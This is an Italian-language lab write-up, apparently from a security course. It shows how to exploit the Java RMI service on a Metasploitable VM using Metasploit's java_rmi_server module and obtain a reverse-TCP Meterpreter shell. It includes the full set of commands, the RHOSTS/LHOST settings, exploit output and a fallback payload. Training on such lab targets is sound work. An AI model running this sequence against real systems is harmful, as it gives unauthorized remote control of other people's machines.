

EXPLOIT JAVA-RMI

INDICE

● TRACCIA.....	2
● CONSIDERAZIONI.....	3
● CONFIGURAZIONE IP.....	4
CONFIGURAZIONE IFCONFIG.....	5
CONFIGURAZIONE PING.....	6
● FASE DI EXLPOIT.....	7
FASE DI EXLPOIT JAVA RMI.....	7
FASE DI EXLPOIT OPZIONI.....	8
FASE DI EXLPOIT IP.....	9
FASE DI EXLPOIT IFCONFIG E ROUTE.....	10
● ATTENZIONE.....	11



EXPLOIT JAVA-RMI

TRACCIA:

LA NOSTRA MACCHINA METASPLOITABLE PRESENTA UN SERVIZIO VULNERABILE SULLA PORTA 1099 – JAVA RMI. SI RICHIEDE ALLO STUDENTE DI SFRUTTARE LA VULNERABILITÀ CON METASPLOIT AL FINE DI OTTENERE UNA SESSIONE DI METERPRETER SULLA MACCHINA REMOTA. I REQUISITI DELL'ESERCIZIO SONO:

- LA MACCHINA ATTACCANTE (**KALI**) DEVE AVERE IL SEGUENTE INDIRIZZO IP: 192.168.11.111
- LA MACCHINA VITTIMA (**METASPLOITABLE**) DEVE AVERE IL SEGUENTE INDIRIZZO IP: 192.168.11.112
- UNA VOLTA OTTENUTA UNA SESSIONE REMOTA METERPRETER, LO STUDENTE DEVE RACCOGLIERE LE SEGUENTI EVIDENZE SULLA MACCHINA REMOTA: 1) CONFIGURAZIONE DI RETE ; 2) INFORMAZIONI SULLA TABELLA DI ROUTING DELLA MACCHINA VITTIMA.

CONSIDERAZIONI

PRIMA DI INIZIARE, È IMPORTANTE FARE ALCUNE CONSIDERAZIONI SUGLI STRUMENTI CHE ANDREMO AD UTILIZZARE.

SULLA PORTA 1099 TCP DELLA NOSTRA MACCHINA METASPLOITABLE È ATTIVO UN SERVIZIO JAVA-RMI (REMOTE METHOD INVOCATION), CHE È UNA TECNOLOGIA CHE CONSENTE A DIVERSI PROCESSI JAVA DI COMUNICARE TRA DI LORO ATTRAVERSO UNA RETE. LA VULNERABILITÀ IN QUESTIONE È DOVUTA AD UNA CONFIGURAZIONE ERRATA CHE PERMETTE AD UN POTENZIALE ATTACCANTE DI INIETTARE UN CODICE ARBITRARIO PER OTTENERE ACCESSO AMMINISTRATIVO ALLA MACCHINA TARGET.

VEDIAMO QUINDI COME SFRUTTARE QUESTA VULNERABILITÀ.

CONFIGURAZIONE

AVVIAMO LE NOSTRE MACCHINE KALI LINUX E METASPLOITABLE E ANDIAMO A CONFIGURARE GLI INDIRIZZI IP TRAMITE IL COMANDO <<SUDO NANO /ETC/NETWORK/INTERFACES>>. ANDIAMO QUINDI A SETTARE GLI IP RICHIESTI DALLA TRACCIA. PREMIAMO CTRL+X E SALVIAMO. RIAVVIAMO INFINE LE MACCHINE.

Metasploitable [In esecuzione] - Oracle VM VirtualBox
msfadmin@metasploitable:~\$ sudo nano /etc/network/interfaces
[sudo] password for msfadmin:

```
GNU nano 2.0.7          File: /etc/network/interfaces

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.11.112
netmask 255.255.255.0
network 192.168.11.0
broadcast 192.168.11.255
gateway 192.168.11.1
```

(kali㉿kali)-[~]
\$ sudo nano /etc/network/interfaces
[sudo] password for kali: █

```
kali㉿kali-[~]
File Actions Edit View Help
GNU nano 7.2          /etc/network/interfaces *
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.11.111
netmask 255.255.255.0
network 192.168.11.0
broadcast 192.168.11.255
gateway 192.168.1.1
```

CONFIGURAZIONE

UNA VOLTA RIAVVIATE LE MACCHINE, ESEGUIAMO IL COMANDO <<IFCONFIG>> PER ANDARE A CONTROLLARE IL CORRETTO INSERIMENTO DEGLI INDIRIZZI IMPOSTATI.

COME POSSIAMO NOTARE LA CONFIGURAZIONE È ANDATA A BUON FINE.

```
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet HWaddr 08:00:27:72:cf:41
          inet addr:192.168.11.112 Bcast:192.168.11.255 Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe72:cf41/64 Scope:Link
            UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
            RX packets:5 errors:0 dropped:0 overruns:0 frame:0
            TX packets:96 errors:0 dropped:0 overruns:0 carrier:0
            collisions:0 txqueuelen:1000
            RX bytes:434 (434.0 B) TX bytes:6264 (6.1 KB)
            Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1 Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
            UP LOOPBACK RUNNING MTU:16436 Metric:1
            RX packets:147 errors:0 dropped:0 overruns:0 frame:0
            TX packets:147 errors:0 dropped:0 overruns:0 carrier:0
            collisions:0 txqueuelen:0
            RX bytes:28069 (27.4 KB) TX bytes:28069 (27.4 KB)
```

```
[kali㉿kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
      inet 192.168.11.111 netmask 255.255.255.0 broadcast 192.168.11.255
      inet6 fe80::a00:27ff:fe1e:364a prefixlen 64 scopeid 0x20<link>
        ether 08:00:27:1e:36:4a txqueuelen 1000 (Ethernet)
        RX packets 2 bytes 120 (120.0 B)
        RX errors 0 dropped 0 overruns 0 frame 0
        TX packets 18 bytes 2564 (2.5 KiB)
        TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
      loop txqueuelen 1000 (Local Loopback)
      RX packets 4 bytes 240 (240.0 B)
      RX errors 0 dropped 0 overruns 0 frame 0
      TX packets 4 bytes 240 (240.0 B)
      TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

CONFIGURAZIONE

ESEGUIAMO INFINE UN <<PING>> PER CONTROLLARE SE LE DUE MACCHINE COMUNICANO TRA DI LORO.

```
PING 192.168.11.111 (192.168.11.111) 56(84) bytes of data.  
64 bytes from 192.168.11.111: icmp_seq=1 ttl=64 time=0.599 ms
```

```
--- 192.168.11.111 ping statistics ---  
1 packets transmitted, 1 received, 0% packet loss, time 0ms  
rtt min/avg/max/mdev = 0.599/0.599/0.599/0.000 ms
```

```
└─(kali㉿kali)-[~]  
$ ping 192.168.11.112  
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.  
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=1.72 ms  
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=0.696 ms  
^C  
--- 192.168.11.112 ping statistics ---  
2 packets transmitted, 2 received, 0% packet loss, time 1007ms  
rtt min/avg/max/mdev = 0.696/1.206/1.717/0.510 ms
```

EXPLOIT

ADESSO CHE È TUTTO PRONTO, POSSIAMO INIZIARE CON LA FASE DI EXPLOIT.

```
(kali㉿kali)-[~]
$ msfconsole
Metasploit tip: Use the 'capture' plugin to start multiple
authentication-capturing and poisoning services

Unable to handle kernel NULL pointer dereference at virtual address 0xd34db33f
EFLAGS: 00010046
eax: 00000001 ebx: f77c8c00 ecx: 00000000 edx: f77f0001
esi: 803bf014 edi: 8023c755 ebp: 80237f84 esp: 80237f60
ds: 0018 es: 0018 ss: 0018
Process Swapper (Pid: 0, process nr: 0, stackpage=80377000)

Stack: 90909090909090909090909090909090
90909090909090909090909090909090
90909090.90909090.90909090
90909090.90909090.90909090
90909090.90909090.90909090
90909090.90909090.90909090
90909090.90909090.90909090
.....
ccccccccccccccccccccccccccc
ccccccccccccccccccccccccccc
ccccccccccccc.....ccccccc
ccccccccccccccccccccccccccc
ccccccccccccccccccccccccccc
.....
ccccccccccccccccccccccccccc
ccccccccccccccccccccccccccc
ccccccccccccccccccccccccccc
ccccccccccccccccccccccccccc
ccccccccccccccccccccccccccc
.....
ffffffffffffffffffff
fffffffff.....
ffffffffffffffffff
fffffffff.....
fffffffff.....
fffffffff.....
fffffffff.....
Code: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N5 00 00 00 00
Aiee, Killing Interrupt handler
Kernel panic: Attempted to kill the idle task!
In swapper task - not syncing

    =[ metasploit v6.3.55-dev
+ --=[ 2397 exploits - 1235 auxiliary - 422 post      ]
+ --=[ 1391 payloads - 46 encoders - 11 nops        ]
+ --=[ 9 evasion          ]]

Metasploit Documentation: https://docs.metasploit.com/
```

FACCIAMO PARTIRE METASPLOIT CON IL COMANDO <<MSFCONSOLE>> E UTILIZZANDO LA KEYWORD <<SEARCH>> CERCHIAMO I POSSIBILI EXPLOIT. CI RISULTANO QUINDI 4 OPZIONI POSSIBILI E QUELLA CHE FA AL CASO NOSTRO È LA NUMERO 1.

```
msf6 > search java_rmi
Matching Modules
=====
#  Name
cription
-
-
0 auxiliary/gather/java_rmi_registry
a RMI Registry Interfaces Enumeration
1 exploit/multi/misc/java_rmi_server
a RMI Server Insecure Default Configuration Java Code Execution
2 auxiliary/scanner/misc/java_rmi_server
a RMI Server Insecure Endpoint Code Execution Scanner
3 exploit/multi/browser/java_rmi_connection_impl
a RMIClassLoaderImpl Deserialization Privilege Escalation
normal      No       Jav
2011-10-15  excellent Yes       Jav
normal      No       Jav
2011-10-15  excellent No       Jav
2010-03-31  excellent No       Jav

Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl
```

EXPLOIT

ANDIAMO QUINDI A UTILIZZARE IL COMANDO <<USE>> SEGUITO DAL PATH DELL'EXPLOIT SCELTO. NOTIAMO CHE NON SI SONO PAYLOAD PER QUESTO EXPLOIT, CE NE VERRÀ QUINDI ASSEGNATO UNO DI DEFAULT.

```
msf6 > use exploit/multi/misc/java_rmi_server  
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
```

```
msf6 exploit(multi/misc/java_rmi_server) > show options  
  
Module options (exploit/multi/misc/java_rmi_server):  
  
Name  Current Setting  Required  Description  
HTTPDELAY  10          yes        Time that the HTTP Server will wait for the payload request  
RHOSTS          yes        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html  
RPORT    1099          yes        The target port (TCP)  
SRVHOST   0.0.0.0       yes        The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.  
SRVPORT   8080          yes        The local port to listen on.  
SSL      false          no         Negotiate SSL for incoming connections  
SSLCert          no         Path to a custom SSL certificate (default is randomly generated)  
URI PATH          no         The URI to use for this exploit (default is random)  
  
Payload options (java/meterpreter/reverse_tcp):  
  
Name  Current Setting  Required  Description  
LHOST   192.168.11.111  yes        The listen address (an interface may be specified)  
LPORT    4444          yes        The listen port  
  
Exploit target:  
  
Id  Name  
--  --  
0   Generic (Java Payload)  
  
View the full module info with the info, or info -d command.
```

CONTROLLIAMO QUINDI LE OPZIONI POSSIBILI TRAMITE IL COMANDO <<SHOW OPTIONS>>. CI VERRANNO QUINDI MOSTRATI DIVERSI PARAMETRI, TRA I QUALI LA COLONNA "REQUIRED" CHE CI AVVISA CHE ALCUNE OPZIONI (YES) SONO PER FORZA NECESSARIE PER PORTARE A TERMINE LA FASE DI EXPLOIT. IN QUESTO CASO, MANCANO I PARAMETRI "RHOSTS" CHE SAREBBE L'INDIRIZZO IP TARGET E "LHOST" OSSIA L'IP DELL'ATTACCANTE.

EXPLOIT

CONFIGURIAMO ADESSO QUESTI DUE PARAMETRI TRAMITE IL COMANDO <<SET>> IMPOSTANDO COME RHOSTS L'INDIRIZZO IP DELLA MACCHINA METASPLOITABLE (TARGET) E COME LHOST L'IP DELLA MACCHINA KALI (ATTACCANTE).

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112  
RHOSTS => 192.168.11.112  
msf6 exploit(multi/misc/java_rmi_server) > set LHOST 192.168.11.111  
LHOST => 192.168.11.111
```

```
msf6 exploit(multi/misc/java_rmi_server) > show options
```

Module options (exploit/multi/misc/java_rmi_server):

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request.
RHOSTS	192.168.11.112	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
LHOST	192.168.11.111	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Generic (Java Payload)

RIESEGUIAMO PER SICUREZZA UN CONTROLLO PER VEDERE SE I PARAMETRI SONO STATI SETTATI.

SE SARÀ ANDATO TUTTO A BUON FINE LI VEDREMO COME IN FIGURA.

EXPLOIT

UNA VOLTA CONFIGURATI TUTTI I PARAMETRI NECESSARI, POSSIAMO LANCIARE L'ATTACCO TRAMITE IL COMANDO <<EXPLOIT>>.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/wmM81V
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:34196) at 2024-03-08 03:28:25 -0500
meterpreter > █
```

COME DA TRACCIA RICHIESTO ANDIAMO ADESSO A ESEGUIRE I DUE COMANDI <<IFCONFIG>> PER VEDERE SE EFFETTIVAMENTE CI TROVIAMO SULLA MACCHINA TARGET E <<ROUTE>> PER LE IMPOSTAZIONI DI ROUTING DELLA MACCHINA ATTACCATA. QUESTE INFORMAZIONI CI DIMOSTRANO CHE L'ATTACCO È RIUSCITO.

```
meterpreter > ifconfig
Interface 1
=====
Name      : lo
Hardware MAC : 00:00:00:00:00:00
MTU       : 16436
Flags     : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::

Interface 2
=====
Name      : eth0
Hardware MAC : 08:00:27:72:cf:41
MTU       : 1500
Flags     : UP,BROADCAST,MULTICAST
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe72:cf41
IPv6 Netmask : ffff:ffff:ffff:ffff::
```

IN BASE A PAYLOAD UTILIZZATO, SE L'ATTACCO È ANDATO A BUON FINE, RICEVEREMO UNA SHELL METERPRETER.

```
meterpreter > route
IPv4 network routes
=====
Subnet      Netmask      Gateway      Metric  Interface
0.0.0.0    0.0.0.0    192.168.11.1  100    eth0
192.168.11.0 255.255.255.0  0.0.0.0    0      eth0

No IPv6 routes were found.
```

ATTENZIONE

SE A FINE EXPLOIT NON SI DOVESSE APRIRE UNA SESSIONE METERPRETER COME MOSTRATO IN FIGURA ALLORA SI DOVRÀ AGIRE DIVERSAMENTE. QUESTO PUÒ ACCADERE SE SI USA UNA VERSIONE DI KALI DIFFERENTE.

```
[*] Exploit completed. but no session was created.
```

ANDREMO AD IMPOSTARE UN TARGET A 2 TRAMITE IL COMANDO <<SET>> E DOVREMO POI VISUALIZZARE I PAYLOAD DISPONIBILI CON <<SHOW PAYLOADS>>.

```
msf6 exploit(multi/misc/java_rmi_server) > set target 2
target => 2
msf6 exploit(multi/misc/java_rmi_server) > show payloads
Compatible Payloads

#  Name
-  --
0  payload/generic/custom
1  payload/generic/debug_trap
2  payload/generic/shell_bind_aws_ssm
M (via AWS API)
3  payload/generic/shell_bind_tcp
Bind TCP Inline
4  payload/generic/shell_reverse_tcp
Reverse TCP Inline
5  payload/generic/ssh/interact
    he SSH Connection
6  payload/generic/tight_loop
7  payload/linux/x86/chmod
8  payload/linux/x86/exec
9  payload/linux/x86/meterpreter/bind_ipv6_tcp
IPv6 TCP Stager (Linux x86)
10 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid
IPv6 TCP Stager with UUID Support (Linux x86)
11 payload/linux/x86/meterpreter/bind_nonx_tcp
TCP Stager
12 payload/linux/x86/meterpreter/bind_tcp
TCP Stager (Linux x86)
13 payload/linux/x86/meterpreter/bind_tcp_uuid
TCP Stager with UUID Support (Linux x86)
14 payload/linux/x86/meterpreter/reverse_ipv6_tcp
rse TCP Stager (IPv6)
15 payload/linux/x86/meterpreter/reverse_nonx_tcp
rse TCP Stager
16 payload/linux/x86/meterpreter/reverse_tcp
rse TCP Stager
17 payload/linux/x86/meterpreter/reverse_tcp_uuid
rse TCP Stager
```

UTILIZZEREMO QUINDI IL NUMERO 16. LO SETTIAMO E RIESEGUIAMO L'EXPLOIT TRAMITE <<RERUN>>. A QUESTO PUNTO SI APRIRÀ LA SHELL METEPRETER E POTREMO CONTINUARE CON L'ATTACCO COME VISTO ALLA SLIDE DI PRIMA